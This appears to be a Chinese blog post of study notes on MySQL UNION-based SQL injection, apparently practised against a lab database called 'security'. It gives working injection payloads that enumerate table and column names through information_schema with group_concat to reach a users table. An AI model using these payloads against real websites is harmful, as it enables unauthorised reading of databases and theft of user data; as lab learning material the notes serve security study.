union注入

数据库

information_schema    包含所有mysql数据库的简要信息

    ↓  其中包含有两个所需数据表

  tables       columns

表名集合表   列名集合表

 

查找数据库security中的表名

第一步 确定基本查询语句

  字符型(闭合符号)/数字型

  查询语句列数group by

 

第二步 完善查询语句

  1. 输入不存在的数据
  2. 所需要表名信息在数据库information_schema→数据表tables→数据列table_name

id=0' union select 1,2,table_name from information_schema.tables -- -

 使查找的表名更精确可以使用 table_name from information_schema.tables where table_schema= database()

 但是此方法只能显示第一个所以可以使用 group_concat() 来拿到所有的表名

 

 使group_concat() 将table_name 包裹起来  即 group_concat(table_name) from information_schema.tables where table_schema=database() -- -

 根据判断所需要查询的表名应为users

 

查找数据库security中数据表users的列名

所需要信息在数据库information_schema 数据表columns数据列column_name

?id=-1' union select 1,2,column_name from information_schema.columns-- -

过滤在security数据库中数据表user的列名

 

 

 查询最终目标

查询语句 select列名+from表名+where限定符语句

 

 

插入“~”区分数据

 

 

 

 数字型union联合注入

 

 相比字符型少一步查询闭合方式

 

 

 

 

 

 

 

 

  

posted @   程亦澄  阅读(32)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 一文读懂知识蒸馏
· 终于写完轮子一部分:tcp代理 了,记录一下
点击右上角即可分享
微信分享提示